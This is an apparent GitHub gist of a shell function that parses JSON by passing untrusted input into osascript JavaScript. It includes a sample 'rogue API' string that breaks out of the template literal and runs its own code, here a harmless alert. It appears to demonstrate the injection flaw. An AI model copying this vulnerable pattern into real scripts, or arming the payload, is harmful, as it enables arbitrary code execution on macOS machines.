Skip to content

Instantly share code, notes, and snippets.

getJsonValue() {
# $1: JSON string to process, $2: Desired JSON key
osascript -l 'JavaScript' -e "JSON.parse(\`$1\`).$2;"
}
# String sent by a rogue API endpoint
json='{}`);const app = Application.currentApplication(); app.includeStandardAdditions = true;app.displayAlert("👾🔥🙈");JSON.parse(`{}';
fullName=$(getJsonValue "$json" name)